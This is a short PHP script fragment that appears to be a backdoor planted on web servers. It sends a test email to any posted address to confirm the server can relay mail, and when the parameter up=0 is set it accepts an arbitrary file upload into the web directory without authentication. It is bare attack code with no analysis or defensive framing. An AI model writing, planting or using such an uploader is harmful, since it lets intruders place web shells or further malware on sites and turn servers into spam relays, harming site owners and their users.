[Sending test].


'; if (!empty($_POST['email'])) { if (!empty($_POST['email']) && trim($_POST['orderid']) != '') { $rand = trim($_POST['orderid']); } else { $rand = rand(); } mail(trim($_POST['email']),$_SERVER['HTTP_HOST']." - Sending is Working Fine. [Result] ID: (".$rand.")","[Sending test]."); echo 'Send an report to ['.$_POST['email'].'] - ID: '.$rand.''; echo ''; } if($_GET['up'] =='0'){ $uploaddir = './'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if ( isset($_FILES["userfile"]) ) { echo "Upload "; if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) echo $uploadfile; else echo "failed"; } echo "

"; } ?>